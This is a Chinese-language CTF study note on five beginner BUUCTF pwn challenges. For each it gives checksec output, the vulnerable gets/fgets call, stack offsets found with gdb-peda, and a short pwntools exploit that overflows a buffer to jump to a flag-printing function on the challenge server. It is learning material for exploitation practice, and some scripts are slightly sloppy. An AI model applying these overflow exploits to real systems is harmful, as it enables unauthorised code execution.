pwn study 02

[TOC]

在整理buu前五题中,

问题1

总结buu前5题中,除了Pwn1_sctf_2016为x32程序,其余均为x64程序,我看到有博客说x32 ret地址一般是ebp+4,是否x64程序偏移量都为ebp+8,即通过pattern offset RBP后面的字符串得到的结果,

问题2

为什么在题rip中,为什么payload2的地址需要+1?而其他题不需要?如何理解+1 是为了保证堆栈平衡

问题3

题Pwn1_sctf_2016中如何用pattern offset确定地址?

rip

1.确定系统版本及保护

1
2
3
4
5
6
7
8
❯ checksec pwn1
[*] '/home/jxswcy/Desktop/pwn1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

Arch: amd64-64-little代表64位系统

RELRO: Partial RELRORELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表。

Stack: No canary found如果栈中开启Canary found,那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过。

NX: NX disabledNX enabled如果这个保护开启就是意味着栈中数据没有执行权限,以前的经常用的callesp或者jmp esp的方法就不能使用,但是可以利用rop这种方法绕过。

PIE: No PIE (0x400000)PIE enabled如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化,而如果没有开PIE的话那么No PIE (0x400000),括号内的数据就是程序的基地址。

RWX: Has RWX segments

2.找到可利用点

shift+F12搜索字符串有/bin/bash,ctrl+x跟踪发现在fun函数下

main函数,F5查看伪代码,发现gets函数,无字节限制

1
gets函数的缓冲区是由用户本身提供,由于用户无法指定一次最多可读入多少字节,导致此函数存在巨大安全隐患。换句话来说,就是gets若没有遇到 \n 结束,则会无限读取,没有上限。

3.确定地址

直接用ELF模块获取fun函数地址

1
2
elf = ELF('./pwn1')
fun = elf.symbols['fun']

4.确定偏移量

5.exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

sh = remote('node4.buuoj.cn', 29049)

#ELF模块获取fun函数地址
elf = ELF('./pwn1')
fun = elf.symbols['fun']

#因为这道题是在ubuntu18的环境,调用system函数的时候用到了movaps指令,需要操作数必须16字节对齐,也就是说的栈对齐,+1 是为了保证堆栈平衡。
payload1 = cyclic(0x0f + 8) + p64(fun + 1)
payload2 = cyclic(0x0f) + p64(fun)
sh.sendline(payload1)
sh.interactive()

warmup_csaw_2016

1.确定系统版本

1
2
3
4
5
6
7
8
❯ checksec warmup_csaw_2016
[*] '/home/jxswcy/Desktop/warmup_csaw_2016'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

2.找到可利用点

字符串搜索发现cat flag.txt

3.确定地址

sub_40060D函数找到入口地址为0x40060D

4.确定偏移量

得到RBP寄存器中 ‘AAdAA3AA’ 。往该字符串后,随便复制一串,进行偏移量计算:

1
2
3
4
gdb-peda$ pattern offset AAdAA3AA
AAdAA3AA found at offset: 64
gdb-peda$ pattern offset IAAeAA4AAJAAfAA5AAKAAgAA6AAL
IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72

5.exp

1
2
3
4
5
6
from pwn import *

p = remote('node4.buuoj.cn',28389)
payload = b'a'*72 + p64(0x40060d)
p.sendline(payload)
p.interactive()

ciscn_2019_n_1

1.checksec

1
2
3
4
5
6
7
❯ checksec ciscn_2019_n_1
[*] '/home/jxswcy/Desktop/ciscn_2019_n_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.查找可利用点

发现cat /flag

3.确定偏移量

输入v1,当v2=11.28125时可以得到flag,通过溢出修改v2数值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int func()
{
int result; // eax
char v1; // [rsp+0h] [rbp-30h]
float v2; // [rsp+2Ch] [rbp-4h]

v2 = 0.0;
puts("Let's guess the number.");
gets(&v1);
if ( v2 == 11.28125 )
result = system("cat /flag");
else
result = puts("Its value should be 11.28125");
return result;
}

计算v1偏移量

1
2
gdb-peda$ pattern offset bAA1AAGA
bAA1AAGA found at offset: 48

可知v2位置偏移量为4

即总偏移量为48-4=44

4.确定地址

再令v2=11.28125即0x41348000

1
2
3
4
5
6
from pwn import *

p = remote('node4.buuoj.cn', 29124)
payload = b'a'*44 + p64(0x41348000)
p.sendline(payload)
p.interactive()

Pwn1_sctf_2016

1.checksec

1
2
3
4
5
6
7
❯ checksec pwn1_sctf_2016
[*] '/home/jxswcy/Desktop/pwn1_sctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.找到可利用点

字符串搜索发现cat flat.txt

3.确定地址

在get_flag函数中发现地址为0x8048F0D

4.确定偏移量

Vuln函数中发现gfets限制字符32位,但会将I替换为you,可通过输入I造成溢出

跟踪s可知长度为0x3c,60字节,这是个32位的程序,所以ret地址一般是ebp+4

5.exp

1
2
3
4
5
6
from pwn import *

p = remote('node4.buuoj.cn', 27042)
payload = b'I'*20 + b'a'*4 + p64(0x8048F0D)
p.sendline(payload)
p.interactive()

jarvisoj_level0

1.checksec

1
2
3
4
5
6
7
❯ checksec level0
[*] '/home/jxswcy/Desktop/level0'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.发现可利用点

3.确定地址

确定地址0x400596

4.确定偏移量

偏移量为0x80+0x8

5.exp

1
2
3
4
5
6
from pwn import *

p = remote('node4.buuoj.cn', 28807)
payload = b'a'*136 + p64(0x400596)
p.sendline(payload)
p.interactive()